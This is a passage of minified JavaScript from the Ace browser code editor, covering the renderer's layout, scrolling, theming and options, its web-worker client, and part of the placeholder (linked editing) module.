i=0,s=this.$size,o={width:s.width,height:s.height,scrollerHeight:s.scrollerHeight,scrollerWidth:s.scrollerWidth};r&&(e||s.height!=r)&&(s.height=r,i|=this.CHANGE_SIZE,s.scrollerHeight=s.height,this.$horizScroll&&(s.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+\"px\",i|=this.CHANGE_SCROLL);if(n&&(e||s.width!=n)){i|=this.CHANGE_SIZE,s.width=n,t==null&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,this.scrollBarH.element.style.left=this.scroller.style.left=t+\"px\",s.scrollerWidth=Math.max(0,n-t-this.scrollBarV.getWidth()),this.scrollBarH.element.style.right=this.scroller.style.right=this.scrollBarV.getWidth()+\"px\",this.scroller.style.bottom=this.scrollBarH.getHeight()+\"px\";if(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)i|=this.CHANGE_FULL}return s.$dirty=!n||!r,i&&this._signal(\"resize\",o),i},this.onGutterResize=function(){var e=this.$showGutter?this.$gutter.offsetWidth:0;e!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,e,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()?this.$loop.schedule(this.CHANGE_FULL):this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):(this.$computeLayerConfig(),this.$loop.schedule(this.CHANGE_MARKER))},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-this.$padding*2,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption(\"animatedScroll\",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption(\"showInvisibles\",e)},this.getShowInvisibles=function(){return this.getOption(\"showInvisibles\")},this.getDisplayIndentGuides=function(){return this.getOption(\"displayIndentGuides\")},this.setDisplayIndentGuides=function(e){this.setOption(\"displayIndentGuides\",e)},this.setShowPrintMargin=function(e){this.setOption(\"showPrintMargin\",e)},this.getShowPrintMargin=function(){return this.getOption(\"showPrintMargin\")},this.setPrintMarginColumn=function(e){this.setOption(\"printMarginColumn\",e)},this.getPrintMarginColumn=function(){return this.getOption(\"printMarginColumn\")},this.getShowGutter=function(){return this.getOption(\"showGutter\")},this.setShowGutter=function(e){return this.setOption(\"showGutter\",e)},this.getFadeFoldWidgets=function(){return this.getOption(\"fadeFoldWidgets\")},this.setFadeFoldWidgets=function(e){this.setOption(\"fadeFoldWidgets\",e)},this.setHighlightGutterLine=function(e){this.setOption(\"highlightGutterLine\",e)},this.getHighlightGutterLine=function(){return this.getOption(\"highlightGutterLine\")},this.$updateGutterLineHighlight=function(){var e=this.$cursorLayer.$pixelPos,t=this.layerConfig.lineHeight;if(this.session.getUseWrapMode()){var n=this.session.selection.getCursor();n.column=0,e=this.$cursorLayer.getPixelPosition(n,!0),t*=this.session.getRowLength(n.row)}this.$gutterLineHighlight.style.top=e.top-this.layerConfig.offset+\"px\",this.$gutterLineHighlight.style.height=t+\"px\"},this.$updatePrintMargin=function(){if(!this.$showPrintMargin&&!this.$printMarginEl)return;if(!this.$printMarginEl){var e=i.createElement(\"div\");e.className=\"ace_layer ace_print-margin-layer\",this.$printMarginEl=i.createElement(\"div\"),this.$printMarginEl.className=\"ace_print-margin\",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=this.characterWidth*this.$printMarginColumn+this.$padding+\"px\",t.visibility=this.$showPrintMargin?\"visible\":\"hidden\",this.session&&this.session.$wrap==-1&&this.adjustWrapLimit()},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(!this.$keepTextAreaAtCursor)return;var e=this.layerConfig,t=this.$cursorLayer.$pixelPos.top,n=this.$cursorLayer.$pixelPos.left;t-=e.offset;var r=this.textarea.style,i=this.lineHeight;if(t<0||t>e.height-i){r.top=r.left=\"0\";return}var s=this.characterWidth;if(this.$composition){var o=this.textarea.value.replace(/^\\x01+/,\"\");s*=this.session.$getStringScreenWidth(o)[0]+2,i+=2}n-=this.scrollLeft,n>this.$size.scrollerWidth-s&&(n=this.$size.scrollerWidth-s),n+=this.gutterWidth,r.height=i+\"px\",r.width=s+\"px\",r.left=Math.min(n,this.$size.scrollerWidth-s)+\"px\",r.top=Math.min(t,this.$size.height-i)+\"px\"},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(this.layerConfig.offset===0?0:1)},this.getLastFullyVisibleRow=function(){var e=Math.floor((this.layerConfig.height+this.layerConfig.offset)/this.layerConfig.lineHeight);return this.layerConfig.firstRow-1+e},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,n,r){var i=this.scrollMargin;i.top=e|0,i.bottom=t|0,i.right=r|0,i.left=n|0,i.v=i.top+i.bottom,i.h=i.left+i.right,i.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-i.top),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption(\"hScrollBarAlwaysVisible\",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption(\"vScrollBarAlwaysVisible\",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){this.$changes&&(e|=this.$changes,this.$changes=0);if(!this.session||!this.container.offsetWidth||this.$frozen||!e&&!t){this.$changes|=e;return}if(this.$size.$dirty)return this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal(\"beforeRender\");var n=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){e|=this.$computeLayerConfig();if(n.firstRow!=this.layerConfig.firstRow&&n.firstRowScreen==this.layerConfig.firstRowScreen){var r=this.scrollTop+(n.firstRow-this.layerConfig.firstRow)*this.lineHeight;r>0&&(this.scrollTop=r,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig())}n=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),this.$gutterLayer.element.style.marginTop=-n.offset+\"px\",this.content.style.marginTop=-n.offset+\"px\",this.content.style.width=n.width+2*this.$padding+\"px\",this.content.style.height=n.minHeight+\"px\"}e&this.CHANGE_H_SCROLL&&(this.content.style.marginLeft=-this.scrollLeft+\"px\",this.scroller.className=this.scrollLeft<=0?\"ace_scroller\":\"ace_scroller ace_scroll-left\");if(e&this.CHANGE_FULL){this.$textLayer.update(n),this.$showGutter&&this.$gutterLayer.update(n),this.$markerBack.update(n),this.$markerFront.update(n),this.$cursorLayer.update(n),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this._signal(\"afterRender\");return}if(e&this.CHANGE_SCROLL){e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(n):this.$textLayer.scrollLines(n),this.$showGutter&&this.$gutterLayer.update(n),this.$markerBack.update(n),this.$markerFront.update(n),this.$cursorLayer.update(n),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this.$moveTextAreaToCursor(),this._signal(\"afterRender\");return}e&this.CHANGE_TEXT?(this.$textLayer.update(n),this.$showGutter&&this.$gutterLayer.update(n)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(n):(e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER)&&this.$showGutter&&this.$gutterLayer.update(n),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(n),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(n),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(n),this._signal(\"afterRender\")},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,n=Math.max((this.$minLines||1)*this.lineHeight,Math.min(t,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(n+=this.scrollBarH.getHeight());var r=e>t;if(n!=this.desiredHeight||this.$size.height!=this.desiredHeight||r!=this.$vScroll){r!=this.$vScroll&&(this.$vScroll=r,this.scrollBarV.setVisible(r));var i=this.container.clientWidth;this.container.style.height=n+\"px\",this.$updateCachedSize(!0,this.$gutterWidth,i,n),this.desiredHeight=n,this._signal(\"autosize\")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,n=t.height<=2*this.lineHeight,r=this.session.getScreenLength(),i=r*this.lineHeight,s=this.$getLongestLine(),o=!n&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-s-2*this.$padding<0),u=this.$horizScroll!==o;u&&(this.$horizScroll=o,this.scrollBarH.setVisible(o));var a=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var f=this.scrollTop%this.lineHeight,l=t.scrollerHeight+this.lineHeight,c=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;i+=c;var h=this.scrollMargin;this.session.setScrollTop(Math.max(-h.top,Math.min(this.scrollTop,i-t.scrollerHeight+h.bottom))),this.session.setScrollLeft(Math.max(-h.left,Math.min(this.scrollLeft,s+2*this.$padding-t.scrollerWidth+h.right)));var p=!n&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-i+c<0||this.scrollTop>h.top),d=a!==p;d&&(this.$vScroll=p,this.scrollBarV.setVisible(p));var v=Math.ceil(l/this.lineHeight)-1,m=Math.max(0,Math.round((this.scrollTop-f)/this.lineHeight)),g=m+v,y,b,w=this.lineHeight;m=e.screenToDocumentRow(m,0);var E=e.getFoldLine(m);E&&(m=E.start.row),y=e.documentToScreenRow(m,0),b=e.getRowLength(m)*w,g=Math.min(e.screenToDocumentRow(g,0),e.getLength()-1),l=t.scrollerHeight+e.getRowLength(g)*w+b,f=this.scrollTop-y*w;var S=0;this.layerConfig.width!=s&&(S=this.CHANGE_H_SCROLL);if(u||d)S=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal(\"scrollbarVisibilityChanged\"),d&&(s=this.$getLongestLine());return this.layerConfig={width:s,padding:this.$padding,firstRow:m,firstRowScreen:y,lastRow:g,lineHeight:w,characterWidth:this.characterWidth,minHeight:l,maxHeight:i,offset:f,gutterOffset:Math.max(0,Math.ceil((f+t.height-t.scrollerHeight)/w)),height:this.$size.scrollerHeight},S},this.$updateLines=function(){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var n=this.layerConfig;if(e>n.lastRow+1)return;if(t<n.firstRow)return;if(t===Infinity){this.$showGutter&&this.$gutterLayer.update(n),this.$textLayer.update(n);return}return this.$textLayer.updateLines(n,e,t),!0},this.$getLongestLine=function(){var e=this.session.getScreenWidth();return this.showInvisibles&&!this.session.$useWrapMode&&(e+=1),Math.max(this.$size.scrollerWidth-2*this.$padding,Math.round(e*this.characterWidth))},this.updateFrontMarkers=function(){this.$markerFront.setMarkers(this.session.getMarkers(!0)),this.$loop.schedule(this.CHANGE_MARKER_FRONT)},this.updateBackMarkers=function(){this.$markerBack.setMarkers(this.session.getMarkers()),this.$loop.schedule(this.CHANGE_MARKER_BACK)},this.addGutterDecoration=function(e,t){this.$gutterLayer.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){this.$gutterLayer.removeGutterDecoration(e,t)},this.updateBreakpoints=function(e){this.$loop.schedule(this.CHANGE_GUTTER)},this.setAnnotations=function(e){this.$gutterLayer.setAnnotations(e),this.$loop.schedule(this.CHANGE_GUTTER)},this.updateCursor=function(){this.$loop.schedule(this.CHANGE_CURSOR)},this.hideCursor=function(){this.$cursorLayer.hideCursor()},this.showCursor=function(){this.$cursorLayer.showCursor()},this.scrollSelectionIntoView=function(e,t,n){this.scrollCursorIntoView(e,n),this.scrollCursorIntoView(t,n)},this.scrollCursorIntoView=function(e,t,n){if(this.$size.scrollerHeight===0)return;var r=this.$cursorLayer.getPixelPosition(e),i=r.left,s=r.top,o=n&&n.top||0,u=n&&n.bottom||0,a=this.$scrollAnimation?this.session.getScrollTop():this.scrollTop;a+o>s?(t&&(s-=t*this.$size.scrollerHeight),s===0&&(s=-this.scrollMargin.top),this.session.setScrollTop(s)):a+this.$size.scrollerHeight-u<s+this.lineHeight&&(t&&(s+=t*this.$size.scrollerHeight),this.session.setScrollTop(s+this.lineHeight-this.$size.scrollerHeight));var f=this.scrollLeft;f>i?(i<this.$padding+2*this.layerConfig.characterWidth&&(i=-this.scrollMargin.left),this.session.setScrollLeft(i)):f+this.$size.scrollerWidth<i+this.characterWidth?this.session.setScrollLeft(Math.round(i+this.characterWidth-this.$size.scrollerWidth)):f<=this.$padding&&i-f<this.characterWidth&&this.session.setScrollLeft(0)},this.getScrollTop=function(){return this.session.getScrollTop()},this.getScrollLeft=function(){return this.session.getScrollLeft()},this.getScrollTopRow=function(){return this.scrollTop/this.lineHeight},this.getScrollBottomRow=function(){return Math.max(0,Math.floor((this.scrollTop+this.$size.scrollerHeight)/this.lineHeight)-1)},this.scrollToRow=function(e){this.session.setScrollTop(e*this.lineHeight)},this.alignCursor=function(e,t){typeof e==\"number\"&&(e={row:e,column:0});var n=this.$cursorLayer.getPixelPosition(e),r=this.$size.scrollerHeight-this.lineHeight,i=n.top-r*(t||0);return this.session.setScrollTop(i),i},this.STEPS=8,this.$calcSteps=function(e,t){var n=0,r=this.STEPS,i=[],s=function(e,t,n){return n*(Math.pow(e-1,3)+1)+t};for(n=0;n<r;++n)i.push(s(n/this.STEPS,e,t-e));return i},this.scrollToLine=function(e,t,n,r){var i=this.$cursorLayer.getPixelPosition({row:e,column:0}),s=i.top;t&&(s-=this.$size.scrollerHeight/2);var o=this.scrollTop;this.session.setScrollTop(s),n!==!1&&this.animateScrolling(o,r)},this.animateScrolling=function(e,t){var n=this.scrollTop;if(!this.$animatedScroll)return;var r=this;if(e==n)return;if(this.$scrollAnimation){var i=this.$scrollAnimation.steps;if(i.length){e=i[0];if(e==n)return}}var s=r.$calcSteps(e,n);this.$scrollAnimation={from:e,to:n,steps:s},clearInterval(this.$timer),r.session.setScrollTop(s.shift()),r.session.$scrollTop=n,this.$timer=setInterval(function(){s.length?(r.session.setScrollTop(s.shift()),r.session.$scrollTop=n):n!=null?(r.session.$scrollTop=-1,r.session.setScrollTop(n),n=null):(r.$timer=clearInterval(r.$timer),r.$scrollAnimation=null,t&&t())},10)},this.scrollToY=function(e){this.scrollTop!==e&&(this.$loop.schedule(this.CHANGE_SCROLL),this.scrollTop=e)},this.scrollToX=function(e){this.scrollLeft!==e&&(this.scrollLeft=e),this.$loop.schedule(this.CHANGE_H_SCROLL)},this.scrollTo=function(e,t){this.session.setScrollTop(t),this.session.setScrollLeft(t)},this.scrollBy=function(e,t){t&&this.session.setScrollTop(this.session.getScrollTop()+t),e&&this.session.setScrollLeft(this.session.getScrollLeft()+e)},this.isScrollableBy=function(e,t){if(t<0&&this.session.getScrollTop()>=1-this.scrollMargin.top)return!0;if(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom)return!0;if(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left)return!0;if(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right)return!0},this.pixelToScreenCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=(e+this.scrollLeft-n.left-this.$padding)/this.characterWidth,i=Math.floor((t+this.scrollTop-n.top)/this.lineHeight),s=Math.round(r);return{row:i,column:s,side:r-s>0?1:-1}},this.screenToTextCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=Math.round((e+this.scrollLeft-n.left-this.$padding)/this.characterWidth),i=(t+this.scrollTop-n.top)/this.lineHeight;return this.session.screenToDocumentPosition(i,Math.max(r,0))},this.textToScreenCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=this.session.documentToScreenPosition(e,t),i=this.$padding+Math.round(r.column*this.characterWidth),s=r.row*this.lineHeight;return{pageX:n.left+i-this.scrollLeft,pageY:n.top+s-this.scrollTop}},this.visualizeFocus=function(){i.addCssClass(this.container,\"ace_focus\")},this.visualizeBlur=function(){i.removeCssClass(this.container,\"ace_focus\")},this.showComposition=function(e){this.$composition||(this.$composition={keepTextAreaAtCursor:this.$keepTextAreaAtCursor,cssText:this.textarea.style.cssText}),this.$keepTextAreaAtCursor=!0,i.addCssClass(this.textarea,\"ace_composition\"),this.textarea.style.cssText=\"\",this.$moveTextAreaToCursor()},this.setCompositionText=function(e){this.$moveTextAreaToCursor()},this.hideComposition=function(){if(!this.$composition)return;i.removeCssClass(this.textarea,\"ace_composition\"),this.$keepTextAreaAtCursor=this.$composition.keepTextAreaAtCursor,this.textarea.style.cssText=this.$composition.cssText,this.$composition=null},this.setTheme=function(e,t){function o(r){if(n.$themeId!=e)return t&&t();if(!r.cssClass)return;i.importCssString(r.cssText,r.cssClass,n.container.ownerDocument),n.theme&&i.removeCssClass(n.container,n.theme.cssClass);var s=\"padding\"in r?r.padding:\"padding\"in(n.theme||{})?4:n.$padding;n.$padding&&s!=n.$padding&&n.setPadding(s),n.$theme=r.cssClass,n.theme=r,i.addCssClass(n.container,r.cssClass),i.setCssClass(n.container,\"ace_dark\",r.isDark),n.$size&&(n.$size.width=0,n.$updateSizeAsync()),n._dispatchEvent(\"themeLoaded\",{theme:r}),t&&t()}var n=this;this.$themeId=e,n._dispatchEvent(\"themeChange\",{theme:e});if(!e||typeof e==\"string\"){var r=e||this.$options.theme.initialValue;s.loadModule([\"theme\",r],o)}else o(e)},this.getTheme=function(){return this.$themeId},this.setStyle=function(e,t){i.setCssClass(this.container,e,t!==!1)},this.unsetStyle=function(e){i.removeCssClass(this.container,e)},this.setCursorStyle=function(e){this.scroller.style.cursor!=e&&(this.scroller.style.cursor=e)},this.setMouseCursor=function(e){this.scroller.style.cursor=e},this.destroy=function(){this.$textLayer.destroy(),this.$cursorLayer.destroy()}}).call(g.prototype),s.defineOptions(g.prototype,\"renderer\",{animatedScroll:{initialValue:!1},showInvisibles:{set:function(e){this.$textLayer.setShowInvisibles(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!1},showPrintMargin:{set:function(){this.$updatePrintMargin()},initialValue:!0},printMarginColumn:{set:function(){this.$updatePrintMargin()},initialValue:80},printMargin:{set:function(e){typeof e==\"number\"&&(this.$printMarginColumn=e),this.$showPrintMargin=!!e,this.$updatePrintMargin()},get:function(){return this.$showPrintMargin&&this.$printMarginColumn}},showGutter:{set:function(e){this.$gutter.style.display=e?\"block\":\"none\",this.$loop.schedule(this.CHANGE_FULL),this.onGutterResize()},initialValue:!0},fadeFoldWidgets:{set:function(e){i.setCssClass(this.$gutter,\"ace_fade-fold-widgets\",e)},initialValue:!1},showFoldWidgets:{set:function(e){this.$gutterLayer.setShowFoldWidgets(e)},initialValue:!0},showLineNumbers:{set:function(e){this.$gutterLayer.setShowLineNumbers(e),this.$loop.schedule(this.CHANGE_GUTTER)},initialValue:!0},displayIndentGuides:{set:function(e){this.$textLayer.setDisplayIndentGuides(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!0},highlightGutterLine:{set:function(e){if(!this.$gutterLineHighlight){this.$gutterLineHighlight=i.createElement(\"div\"),this.$gutterLineHighlight.className=\"ace_gutter-active-line\",this.$gutter.appendChild(this.$gutterLineHighlight);return}this.$gutterLineHighlight.style.display=e?\"\":\"none\",this.$cursorLayer.$pixelPos&&this.$updateGutterLineHighlight()},initialValue:!1,value:!0},hScrollBarAlwaysVisible:{set:function(e){(!this.$hScrollBarAlwaysVisible||!this.$horizScroll)&&this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},vScrollBarAlwaysVisible:{set:function(e){(!this.$vScrollBarAlwaysVisible||!this.$vScroll)&&this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},fontSize:{set:function(e){typeof e==\"number\"&&(e+=\"px\"),this.container.style.fontSize=e,this.updateFontSize()},initialValue:12},fontFamily:{set:function(e){this.container.style.fontFamily=e,this.updateFontSize()}},maxLines:{set:function(e){this.updateFull()}},minLines:{set:function(e){this.updateFull()}},scrollPastEnd:{set:function(e){e=+e||0;if(this.$scrollPastEnd==e)return;this.$scrollPastEnd=e,this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:0,handlesSet:!0},fixedWidthGutter:{set:function(e){this.$gutterLayer.$fixedWidth=!!e,this.$loop.schedule(this.CHANGE_GUTTER)}},theme:{set:function(e){this.setTheme(e)},get:function(){return this.$themeId||this.theme},initialValue:\"./theme/textmate\",handlesSet:!0}}),t.VirtualRenderer=g}),define(\"ace/worker/worker_client\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/net\",\"ace/lib/event_emitter\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/net\"),s=e(\"../lib/event_emitter\").EventEmitter,o=e(\"../config\"),u=function(t,n,r,i){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.onMessage=this.onMessage.bind(this),e.nameToUrl&&!e.toUrl&&(e.toUrl=e.nameToUrl);if(o.get(\"packaged\")||!e.toUrl)i=i||o.moduleUrl(n,\"worker\");else{var s=this.$normalizePath;i=i||s(e.toUrl(\"ace/worker/worker.js\",null,\"_\"));var u={};t.forEach(function(t){u[t]=s(e.toUrl(t,null,\"_\").replace(/(\\.js)?(\\?.*)?$/,\"\"))})}try{this.$worker=new Worker(i)}catch(a){if(!(a instanceof window.DOMException))throw a;var f=this.$workerBlob(i),l=window.URL||window.webkitURL,c=l.createObjectURL(f);this.$worker=new Worker(c),l.revokeObjectURL(c)}this.$worker.postMessage({init:!0,tlns:u,module:n,classname:r}),this.callbackId=1,this.callbacks={},this.$worker.onmessage=this.onMessage};(function(){r.implement(this,s),this.onMessage=function(e){var t=e.data;switch(t.type){case\"event\":this._signal(t.name,{data:t.data});break;case\"call\":var n=this.callbacks[t.id];n&&(n(t.data),delete this.callbacks[t.id]);break;case\"error\":this.reportError(t.data);break;case\"log\":window.console&&console.log&&console.log.apply(console,t.data)}},this.reportError=function(e){window.console&&console.error&&console.error(e)},this.$normalizePath=function(e){return i.qualifyURL(e)},this.terminate=function(){this._signal(\"terminate\",{}),this.deltaQueue=null,this.$worker.terminate(),this.$worker=null,this.$doc&&this.$doc.off(\"change\",this.changeListener),this.$doc=null},this.send=function(e,t){this.$worker.postMessage({command:e,args:t})},this.call=function(e,t,n){if(n){var r=this.callbackId++;this.callbacks[r]=n,t.push(r)}this.send(e,t)},this.emit=function(e,t){try{this.$worker.postMessage({event:e,data:{data:t.data}})}catch(n){console.error(n.stack)}},this.attachToDocument=function(e){this.$doc&&this.terminate(),this.$doc=e,this.call(\"setValue\",[e.getValue()]),e.on(\"change\",this.changeListener)},this.changeListener=function(e){this.deltaQueue||(this.deltaQueue=[],setTimeout(this.$sendDeltaQueue,0)),e.action==\"insert\"?this.deltaQueue.push(e.start,e.lines):this.deltaQueue.push(e.start,e.end)},this.$sendDeltaQueue=function(){var e=this.deltaQueue;if(!e)return;this.deltaQueue=null,e.length>50&&e.length>this.$doc.getLength()>>1?this.call(\"setValue\",[this.$doc.getValue()]):this.emit(\"change\",{data:e})},this.$workerBlob=function(e){var t=\"importScripts('\"+i.qualifyURL(e)+\"');\";try{return new Blob([t],{type:\"application/javascript\"})}catch(n){var r=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,s=new r;return s.append(t),s.getBlob(\"application/javascript\")}}}).call(u.prototype);var a=function(e,t,n){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.callbackId=1,this.callbacks={},this.messageBuffer=[];var r=null,i=!1,u=Object.create(s),a=this;this.$worker={},this.$worker.terminate=function(){},this.$worker.postMessage=function(e){a.messageBuffer.push(e),r&&(i?setTimeout(f):f())},this.setEmitSync=function(e){i=e};var f=function(){var e=a.messageBuffer.shift();e.command?r[e.command].apply(r,e.args):e.event&&u._signal(e.event,e.data)};u.postMessage=function(e){a.onMessage({data:e})},u.callback=function(e,t){this.postMessage({type:\"call\",id:t,data:e})},u.emit=function(e,t){this.postMessage({type:\"event\",name:e,data:t})},o.loadModule([\"worker\",t],function(e){r=new e[n](u);while(a.messageBuffer.length)f()})};a.prototype=u.prototype,t.UIWorkerClient=a,t.WorkerClient=u}),define(\"ace/placeholder\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";var r=e(\"./range\").Range,i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/oop\"),o=function(e,t,n,r,i,s){var o=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=i,this.othersClass=s,this.$onUpdate=this.onUpdate.bind(this),this.doc.on(\"change\",this.$onUpdate),this.$others=r,this.$onCursorChange=function(){setTimeout(function(){o.onCursorChange()})},this.$pos=n;var u=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=u.length,this.setup(),e.selection.on(\"changeCursor\",this.$onCursorChange)};(function(){s.implement(this,i),this.setup=function(){var e=this,t=this.doc,n=this.session;this.selectionBefore=n.selection.toJSON(),n.selection.inMultiSelectMode&&n.selection.toSingleRange(),this.pos=t.createAnchor(this.$pos.row,this.$pos.column);var i=this.pos;i.$insertRight=!0,i.detach(),i.markerId=n.addMarker(new r(i.row,i.column,i.row,i.column+this.length),this.mainClass,null,!1),this.others=[],this.$others.forEach(function(n){var r=t.createAnchor(n.row,n.column);r.$insertRight=!0,r.detach(),e.others.push(r)}),n.setUndoSelect(!1)},this.showOtherMarkers=function(){if(this.othersActive)return;var e=this.session,t=this;this.othersActive=!0,this.others.forEach(function(n){n.markerId=e.addMarker(new r(n.row,n.column,n.row,n.column+t.length),t.othersClass,null,!1)})},this.hideOtherMarkers=function(){if(!this.othersActive)return;this.othersActive=!1;for(var e=0;e<this.others.length;e++)this.session.removeMarker(this.others[e].markerId)},this.onUpdate=function(e){if(this.$updating)return this.updateAnchors(e);var t=e;if(t.start.row!==t.end.row)return;if(t.start.row!==this.pos.row)return;this.$updating=!0;var n=e.action===\"insert\"?t.end.column-t.start.column:t.start.column-t.end.column,i=t.start.column>=this.pos.column&&t.start.column<=this.pos.column+this.length+1,s=t.start.column-this.pos.column;this.updateAnchors(e),i&&(this.length+=n);if(i&&!this.session.$fromUndo)if(e.action===\"insert\")for(var o=this.others.length-1;o>=0;o--){var u=this.others[o],a={row:u.row,column:u.column+s};this.doc.insertMergedLines(a,e.lines)}else if(e.action===\"remove\")for(var o=this.others.length-1;o>=0;o--){var u=this.others[o],a={row:u.row,column:u.column+s};this.doc.remove(new r(a.row,a.column,a.row,a.column-n))}this.$updating=!1,this.updateMarkers()},this.updateAnchors=function(e){this.pos.onChange(e);for(var t=this.others.length;t--;)this.others[t].onChange(e);this.updateMarkers()},this.updateMarkers=function(){if(this.$updating)return;var e=this,t=this.session,n=function(n,i){t.removeMarker(n.markerId),n.markerId=t.addMarker(new r(n.row,n.column,n.row,n.column+e.length),i,null,!1)};n(this.pos,this.mainClass);for(var i=this.others.length;i--;)n(this.others[i],this.othersClass)},this.onCursorChange=function(e){if(this.$updating||!this.session)return;var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit(\"cursorEnter\",e)):(this.hideOtherMarkers(),this._emit(\"cursorLeave\",e))},this.detach=function(){this.session.removeMarker(this.pos&&this.pos.markerId),this.hideOtherMarkers(),this.doc.removeEventListener(\"change\",this.$onUpdate),this.session.selection.removeEventListener(\"changeCursor\",this.$onCursorChange),this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(this.$undoStackDepth===-1)return;var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth;for(var 